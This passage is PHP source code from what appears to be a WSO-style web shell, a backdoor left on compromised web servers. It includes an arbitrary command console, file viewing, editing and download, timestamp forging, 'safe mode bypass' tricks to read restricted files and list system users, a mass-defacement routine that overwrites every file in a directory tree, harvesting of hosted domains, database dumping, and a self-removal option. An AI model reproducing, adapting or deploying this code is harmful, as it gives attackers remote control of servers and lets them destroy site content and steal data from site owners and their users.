678 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
679 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
680 $l = $l?0:1;
681 }
682 echo "<tr><td colspan=7>
683 <input type=hidden name=a value='FilesMan'>
684 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
685 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
686 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
687 if(class_exists('ZipArchive'))
688 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
689 if(!empty($_SESSION['act'])&&@count($_SESSION['f']))
690 echo "<option value='paste'>Paste / zip</option>";
691 echo "</select> <input type='submit' value='>>'></td></tr></form></table></div>";
692 wsoFooter();
693}
694
695function actionStringTools() {
696 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
697 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
698 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
699 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
700 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
701 $stringTools = array(
702 'Base64 encode' => 'base64_encode',
703 'Base64 decode' => 'base64_decode',
704 'Url encode' => 'urlencode',
705 'Url decode' => 'urldecode',
706 'Full urlencode' => 'full_urlencode',
707 'md5 hash' => 'md5',
708 'sha1 hash' => 'sha1',
709 'crypt' => 'crypt',
710 'CRC32' => 'crc32',
711 'ASCII to HEX' => 'ascii2hex',
712 'HEX to ASCII' => 'hex2ascii',
713 'HEX to DEC' => 'hexdec',
714 'HEX to BIN' => 'hex2bin',
715 'DEC to HEX' => 'dechex',
716 'DEC to BIN' => 'decbin',
717 'BIN to HEX' => 'binhex',
718 'BIN to DEC' => 'bindec',
719 'String to lower case' => 'strtolower',
720 'String to upper case' => 'strtoupper',
721 'Htmlspecialchars' => 'htmlspecialchars',
722 'String length' => 'strlen',
723 );
724 if(isset($_POST['ajax'])) {
725 $_SESSION[$_SERVER['HTTP_HOST'].'ajax'] = true;
726 ob_start();
727 if(in_array($_POST['p1'], $stringTools))
728 echo $_POST['p1']($_POST['p2']);
729 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
730 echo strlen($temp), "\n", $temp;
731 exit;
732 }
733 wsoHeader();
734 echo '<h1>String conversions</h1><div class=content>';
735 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
736 $_SESSION[$_SERVER['HTTP_HOST'].'ajax'] = false;
737 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
738 foreach($stringTools as $k => $v)
739 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
740 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[$_SERVER['HTTP_HOST'].'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
741 if(!empty($_POST['p1'])) {
742 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
743 }
744 echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
745 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
746 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
747 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
748 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
749 <tr><td></td><td><input type='submit' value='>>'></td></tr>
750 </table></form>";
751
752 function wsoRecursiveGlob($path) {
753 if(substr($path, -1) != '/')
754 $path.='/';
755 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
756 if(is_array($paths)&&@count($paths)) {
757 foreach($paths as $item) {
758 if(@is_dir($item)){
759 if($path!=$item)
760 wsoRecursiveGlob($item);
761 } else {
762 if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
763 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
764 }
765 }
766 }
767 }
768 if(@$_POST['p3'])
769 wsoRecursiveGlob($_POST['c']);
770 echo "</div><br><h1>Search for hash:</h1><div class=content>
771 <form method='post' target='_blank' name='hf'>
772 <input type='text' name='hash' style='width:200px;'><br>
773 <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
774 <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
775 <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
776 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
777 <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
778 </form></div>";
779 wsoFooter();
780}
781
782function actionFilesTools() {
783 if( isset($_POST['p1']) )
784 $_POST['p1'] = urldecode($_POST['p1']);
785 if(@$_POST['p2']=='download') {
786 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
787 ob_start("ob_gzhandler", 4096);
788 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
789 if (function_exists("mime_content_type")) {
790 $type = @mime_content_type($_POST['p1']);
791 header("Content-Type: ".$type);
792 }
793 $fp = @fopen($_POST['p1'], "r");
794 if($fp) {
795 while(!@feof($fp))
796 echo @fread($fp, 1024);
797 fclose($fp);
798 }
799 }exit;
800 }
801 if( @$_POST['p2'] == 'mkfile' ) {
802 if(!file_exists($_POST['p1'])) {
803 $fp = @fopen($_POST['p1'], 'w');
804 if($fp) {
805 $_POST['p2'] = "edit";
806 fclose($fp);
807 }
808 }
809 }
810 wsoHeader();
811 echo '<h1>File tools</h1><div class=content>';
812 if( !file_exists(@$_POST['p1']) ) {
813 echo 'File not exists';
814 wsoFooter();
815 return;
816 }
817 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
818 if(!$uid) {
819 $uid['name'] = @fileowner($_POST['p1']);
820 $gid['name'] = @filegroup($_POST['p1']);
821 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
822 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
823 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
824 if( empty($_POST['p2']) )
825 $_POST['p2'] = 'view';
826 if( is_file($_POST['p1']) )
827 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
828 else
829 $m = array('Chmod', 'Rename', 'Touch');
830 foreach($m as $v)
831 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
832 echo '<br><br>';
833 switch($_POST['p2']) {
834 case 'view':
835 echo '<pre class=ml1>';
836 $fp = @fopen($_POST['p1'], 'r');
837 if($fp) {
838 while( !@feof($fp) )
839 echo htmlspecialchars(@fread($fp, 1024));
840 @fclose($fp);
841 }
842 echo '</pre>';
843 break;
844 case 'highlight':
845 if( @is_readable($_POST['p1']) ) {
846 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
847 $code = @highlight_file($_POST['p1'],true);
848 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
849 }
850 break;
851 case 'chmod':
852 if( !empty($_POST['p3']) ) {
853 $perms = 0;
854 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
855 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
856 if(!@chmod($_POST['p1'], $perms))
857 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
858 }
859 clearstatcache();
860 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
861 break;
862 case 'edit':
863 if( !is_writable($_POST['p1'])) {
864 echo 'File isn\'t writeable';
865 break;
866 }
867 if( !empty($_POST['p3']) ) {
868 $time = @filemtime($_POST['p1']);
869 $_POST['p3'] = substr($_POST['p3'],1);
870 $fp = @fopen($_POST['p1'],"w");
871 if($fp) {
872 @fwrite($fp,$_POST['p3']);
873 @fclose($fp);
874 echo 'Saved!<br><script>p3_="";</script>';
875 @touch($_POST['p1'],$time,$time);
876 }
877 }
878 echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
879 $fp = @fopen($_POST['p1'], 'r');
880 if($fp) {
881 while( !@feof($fp) )
882 echo htmlspecialchars(@fread($fp, 1024));
883 @fclose($fp);
884 }
885 echo '</textarea><input type=submit value=">>"></form>';
886 break;
887 case 'hexdump':
888 $c = @file_get_contents($_POST['p1']);
889 $n = 0;
890 $h = array('00000000<br>','','');
891 $len = strlen($c);
892 for ($i=0; $i<$len; ++$i) {
893 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
894 switch ( ord($c[$i]) ) {
895 case 0: $h[2] .= ' '; break;
896 case 9: $h[2] .= ' '; break;
897 case 10: $h[2] .= ' '; break;
898 case 13: $h[2] .= ' '; break;
899 default: $h[2] .= $c[$i]; break;
900 }
901 $n++;
902 if ($n == 32) {
903 $n = 0;
904 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
905 $h[1] .= '<br>';
906 $h[2] .= "\n";
907 }
908 }
909 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
910 break;
911 case 'rename':
912 if( !empty($_POST['p3']) ) {
913 if(!@rename($_POST['p1'], $_POST['p3']))
914 echo 'Can\'t rename!<br>';
915 else
916 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
917 }
918 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
919 break;
920 case 'touch':
921 if( !empty($_POST['p3']) ) {
922 $time = strtotime($_POST['p3']);
923 if($time) {
924 if(!touch($_POST['p1'],$time,$time))
925 echo 'Fail!';
926 else
927 echo 'Touched!';
928 } else echo 'Bad time format!';
929 }
930 clearstatcache();
931 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
932 break;
933 }
934 echo '</div>';
935 wsoFooter();
936}
937
938function actionSafeMode() {
939 $temp='';
940 ob_start();
941 switch($_POST['p1']) {
942 case 1:
943 $temp=@tempnam($test, 'cx');
944 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
945 echo @file_get_contents($temp);
946 unlink($temp);
947 } else
948 echo 'Sorry... Can\'t open file';
949 break;
950 case 2:
951 $files = glob($_POST['p2'].'*');
952 if( is_array($files) )
953 foreach ($files as $filename)
954 echo $filename."\n";
955 break;
956 case 3:
957 $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
958 curl_exec($ch);
959 break;
960 case 4:
961 ini_restore("safe_mode");
962 ini_restore("open_basedir");
963 include($_POST['p2']);
964 break;
965 case 5:
966 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
967 $uid = @posix_getpwuid($_POST['p2']);
968 if ($uid)
969 echo join(':',$uid)."\n";
970 }
971 break;
972 }
973 $temp = ob_get_clean();
974 wsoHeader();
975 echo '<h1>Safe mode bypass</h1><div class=content>';
976 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
977 if($temp)
978 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
979 echo '</div>';
980 wsoFooter();
981}
982
983function actionConsole() {
984 if(isset($_POST['ajax'])) {
985 $_SESSION[$_SERVER['HTTP_HOST'].'ajax'] = true;
986 ob_start();
987 echo "document.cf.cmd.value='';\n";
988 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
989 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
990 if(@chdir($match[1])) {
991 $GLOBALS['cwd'] = @getcwd();
992 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
993 }
994 }
995 echo "document.cf.output.value+='".$temp."';";
996 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
997 $temp = ob_get_clean();
998 echo strlen($temp), "\n", $temp;
999 exit;
1000 }
1001 wsoHeader();
1002 echo "<script>
1003if(window.Event) window.captureEvents(Event.KEYDOWN);
1004var cmds = new Array('');
1005var cur = 0;
1006function kp(e) {
1007 var n = (window.Event) ? e.which : e.keyCode;
1008 if(n == 38) {
1009 cur--;
1010 if(cur>=0)
1011 document.cf.cmd.value = cmds[cur];
1012 else
1013 cur++;
1014 } else if(n == 40) {
1015 cur++;
1016 if(cur < cmds.length)
1017 document.cf.cmd.value = cmds[cur];
1018 else
1019 cur--;
1020 }
1021}
1022function add(cmd) {
1023 cmds.pop();
1024 cmds.push(cmd);
1025 cmds.push('');
1026 cur = cmds.length-1;
1027}
1028</script>";
1029 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
1030 foreach($GLOBALS['aliases'] as $n => $v) {
1031 if($v == '') {
1032 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1033 continue;
1034 }
1035 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1036 }
1037 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1038 $_SESSION[$_SERVER['HTTP_HOST'].'ajax'] = false;
1039 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.(@$_SESSION[$_SERVER['HTTP_HOST'].'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1040 if(!empty($_POST['p1'])) {
1041 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
1042 }
1043 echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
1044 echo '</form></div><script>document.cf.cmd.focus();</script>';
1045 wsoFooter();
1046}
1047
1048function actionSelfRemove() {
1049
1050 if($_POST['p1'] == 'yes')
1051 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1052 die('Shell has been removed');
1053 else
1054 echo 'unlink error!';
1055 if($_POST['p1'] != 'yes')
1056 wsoHeader();
1057 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1058 wsoFooter();
1059}
1060//** updates
1061
1062 function clear_fill($filo,$index){
1063 if(file_exists($filo)){
1064 $handle = fopen($filo,'w');
1065 fwrite($handle,'');
1066 fwrite($handle,$index);
1067 fclose($handle); } }
1068
1069/////////
1070
1071function do_it(){
1072 global $dir , $index ;
1073 chdir($dir);
1074 $me = str_replace(dirname(__FILE__).'/','',__FILE__);
1075 $filos = scandir($dir) ;
1076 $notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
1077 sort($filos);
1078 $n = 0 ;
1079 echo "<center><textarea style='width: 950px; height: 300px;'>";
1080 foreach ($filos as $filo){
1081 if ( $filo != $me && is_dir($filo) != 1 && !in_array($filo, $notallow) ) {
1082 echo "$dir/$filo ====> ";
1083 edit_file($filo,$index);
1084 flush();
1085 $n = $n +1 ;
1086 } }
1087 echo "</textarea>";
1088 echo "<br>";
1089 echo "<br><h3>$n File Detected</h3></center><br>";
1090 }
1091
1092//////////////////////////////
1093function ListFiles($dirall) {
1094
1095 if($dh = opendir($dirall)) {
1096
1097 $filos = Array();
1098 $inner_files = Array();
1099 $me = str_replace(dirname(__FILE__).'/','',__FILE__);
1100 $notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
1101 while($filo = readdir($dh)) {
1102 if($filo != "." && $filo != ".." && $filo[0] != '.' && !in_array($filo, $notallow) ) {
1103 if(is_dir($dirall . "/" . $filo)) {
1104 $inner_files = ListFiles($dirall . "/" . $filo);
1105 if(is_array($inner_files)) $filos = array_merge($filos, $inner_files);
1106 } else {
1107 array_push($filos, $dirall . "/" . $filo);
1108 }
1109 }
1110 }
1111
1112 closedir($dh);
1113 return $filos;
1114 }
1115}
1116 //////////////////////////////////////////
1117 function do_it_all(){
1118 global $index ;
1119 $dirall=$_POST['dir'];
1120 echo "<center><textarea style='width: 950px; height: 300px;'>";
1121 echo "Blowing All Files In Main Dir \n Task Started ;D \n";
1122foreach (ListFiles($dirall) as $key=>$filo){
1123 $filo = str_replace('//',"/",$filo);
1124 echo "$filo ===>";
1125 edit_file($filo,$index);
1126 flush();
1127}
1128 echo "</textarea>";
1129$key = $key+1;
1130echo "<br><h3>$key File Detected</h3></center><br>"; }
1131
1132////////
1133
1134function actionMass() {
1135 wsoHeader();
1136
1137 echo "<h1>Mass Defeace All Files</h1><div class=content>
1138 <form name='mass' onSubmit=\"g(null,null,'bpp',this.option.value);return false;\"><br>
1139 <strong>Index Code Here :</strong><br>
1140 <textarea placeholder='Please Put Your Index Or Domains here !!' name='index' class=bigarea></textarea><br><br>
1141 <strong>Main Dir : </strong>
1142 <input name='dir' style='width: 550px' type='text' value=".getcwd()."/> | <strong>Options : </strong>
1143 <select name='option' style='width: 200px'>
1144 <option> </option>
1145 <option>Only for Selected Folder</option>
1146 <option>For all Sub Folders</option>
1147 </select>
1148 <input name='indexit' type='submit' value='Brute It' style='width: 81px'><br></form>";
1149if(isset($_POST['p1'])) {
1150 if ($_POST['indexit'])
1151{
1152 if ($_POST['option']=="Only for Selected Folder"){ do_it() ;}
1153 elseif ($_POST['option']=="For all Sub Folders"){ do_it_all(); }
1154 else {echo "Please select one option to work on it !!"; }
1155} }
1156
1157 wsoFooter();
1158}
1159
1160function actionDomain() {
1161 wsoHeader();
1162echo "<h1>Get All Server Domains</h1><div class=content>";
1163$d0mains = @file("/etc/named.conf");
1164
1165if(!$d0mains){ echo "<br> Can't ReaD -> [/etc/named.conf]";}
1166else {
1167echo "<table align=center border=1>
1168<tr><td><b><span style='color:red'>Domain</span></b></td><td><b><span style='color:red'>User</span></b></td></tr>";
1169
1170foreach($d0mains as $d0main){
1171
1172if(eregi("zone",$d0main)){
1173
1174preg_match_all('#zone "(.*)"#', $d0main, $domains);
1175flush();
1176
1177if(strlen(trim($domains[1][0])) > 2){
1178
1179$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
1180
1181echo "<tr><td><a target='_blank' href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>"; flush();
1182
1183}}}
1184
1185echo "</table>
1186<p align='center'>";
1187}
1188 wsoFooter();
1189}
1190
1191function actionSql() {
1192 class DbClass {
1193 var $type;
1194 var $link;
1195 var $res;
1196 function DbClass($type) {
1197 $this->type = $type;
1198 }
1199 function connect($host, $user, $pass, $dbname){
1200 switch($this->type) {
1201 case 'mysql':
1202 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1203 break;
1204 case 'pgsql':
1205 $host = explode(':', $host);
1206 if(!$host[1]) $host[1]=5432;
1207 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1208 break;
1209 }
1210 return false;
1211 }
1212 function selectdb($db) {
1213 switch($this->type) {
1214 case 'mysql':
1215 if (@mysql_select_db($db))return true;
1216 break;
1217 }
1218 return false;
1219 }
1220 function query($str) {
1221 switch($this->type) {
1222 case 'mysql':
1223 return $this->res = @mysql_query($str);
1224 break;
1225 case 'pgsql':
1226 return $this->res = @pg_query($this->link,$str);
1227 break;
1228 }
1229 return false;
1230 }
1231 function fetch() {
1232 $res = func_num_args()?func_get_arg(0):$this->res;
1233 switch($this->type) {
1234 case 'mysql':
1235 return @mysql_fetch_assoc($res);
1236 break;
1237 case 'pgsql':
1238 return @pg_fetch_assoc($res);
1239 break;
1240 }
1241 return false;
1242 }
1243 function listDbs() {
1244 switch($this->type) {
1245 case 'mysql':
1246 return $this->res = @mysql_list_dbs($this->link);
1247 break;
1248 case 'pgsql':
1249 return $this->res = $this->query("SELECT datname FROM pg_database");
1250 break;
1251 }
1252 return false;
1253 }
1254 function listTables() {
1255 switch($this->type) {
1256 case 'mysql':
1257 return $this->res = $this->query('SHOW TABLES');
1258 break;
1259 case 'pgsql':
1260 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_shadow'");
1261 break;
1262 }
1263 return false;
1264 }
1265 function error() {
1266 switch($this->type) {
1267 case 'mysql':
1268 return @mysql_error($this->link);
1269 break;
1270 case 'pgsql':
1271 return @pg_last_error($this->link);
1272 break;
1273 }
1274 return false;
1275 }
1276 function setCharset($str) {
1277 switch($this->type) {
1278 case 'mysql':
1279 if(function_exists('mysql_set_charset'))
1280 return @mysql_set_charset($str, $this->link);
1281 else
1282 $this->query('SET CHARSET '.$str);
1283 break;
1284 case 'pgsql':
1285 return @pg_set_client_encoding($this->link, $str);
1286 break;
1287 }
1288 return false;
1289 }
1290 function loadFile($str) {
1291 switch($this->type) {
1292 case 'mysql':
1293 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1294 break;
1295 case 'pgsql':
1296 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
1297 $r=array();
1298 while($i=$this->fetch())
1299 $r[] = $i['file'];
1300 $this->query('drop table wso2');
1301 return array('file'=>implode("\n",$r));
1302 break;
1303 }
1304 return false;
1305 }
1306 function dump($table) {
1307 switch($this->type) {
1308 case 'mysql':
1309 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1310 $create = mysql_fetch_array($res);
1311 echo $create[1].";\n\n";
1312 $this->query('SELECT * FROM `'.$table.'`');
1313 while($item = $this->fetch()) {
1314 $columns = array();
1315 foreach($item as $k=>$v) {
1316 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1317 $columns[] = "`".$k."`";
1318 }
1319 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1320 }
1321 break;
1322 case 'pgsql':
1323 $this->query('SELECT * FROM '.$table);
1324 while($item = $this->fetch()) {
1325 $columns = array();
1326 foreach($item as $k=>$v) {
1327 $item[$k] = "'".addslashes($v)."'";
1328 $columns[] = $k;
1329 }
1330 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1331 }
1332 break;
1333 }
1334 return false;
1335 }
1336 };
1337 $db = new DbClass($_POST['type']);
1338 if(@$_POST['p2']=='download') {
1339 ob_start("ob_gzhandler", 4096);
1340 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1341 $db->selectdb($_POST['sql_base']);
1342 header("Content-Disposition: attachment; filename=dump.sql");
1343 header("Content-Type: text/plain");
1344 foreach($_POST['tbl'] as $v)
1345 $db->dump($v);
1346 exit;
1347 }
1348 wsoHeader();
1349 echo "
1350<h1>Sql browser</h1><div class=content>
1351<form name='sf' method='post'><table cellpadding='2' cellspacing='0'><tr>
1352<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1353<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
1354<td><select name='type'><option value='mysql' ";
1355 if(@$_POST['type']=='mysql')echo 'selected';
1356echo ">MySql</option><option value='pgsql' ";
1357if(@$_POST['type']=='pgsql')echo 'selected';
1358echo ">PostgreSql</option></select></td>
1359<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
1360<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
1361<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
1362 $tmp = "<input type=text name=sql_base value=''>";
1363 if(isset($_POST['sql_host'])){
1364 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1365 switch($_POST['charset']) {
1366 case "Windows-1251": $db->setCharset('cp1251'); break;
1367 case "UTF-8": $db->setCharset('utf8'); break;
1368 case "KOI8-R": $db->setCharset('koi8r'); break;
1369 case "KOI8-U": $db->setCharset('koi8u'); break;
1370 case "cp866": $db->setCharset('cp866'); break;
1371 }
1372 $db->listDbs();
1373 echo "<select name=sql_base><option value=''></option>";
1374 while($item = $db->fetch()) {
1375 list($key, $value) = each($item);
1376 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1377 }
1378 echo '</select>';
1379 }
1380 else echo $tmp;
1381 }else
1382 echo $tmp;
1383 echo "</td>
1384 <td><input type=submit value='>>'></td>
1385 </tr>
1386 </table>
1387 <script>
1388 function st(t,l) {
1389 document.sf.p1.value = 'select';
1390 document.sf.p2.value = t;
1391 if(l!=null)document.sf.p3.value = l;
1392 document.sf.submit();
1393 }
1394 function is() {
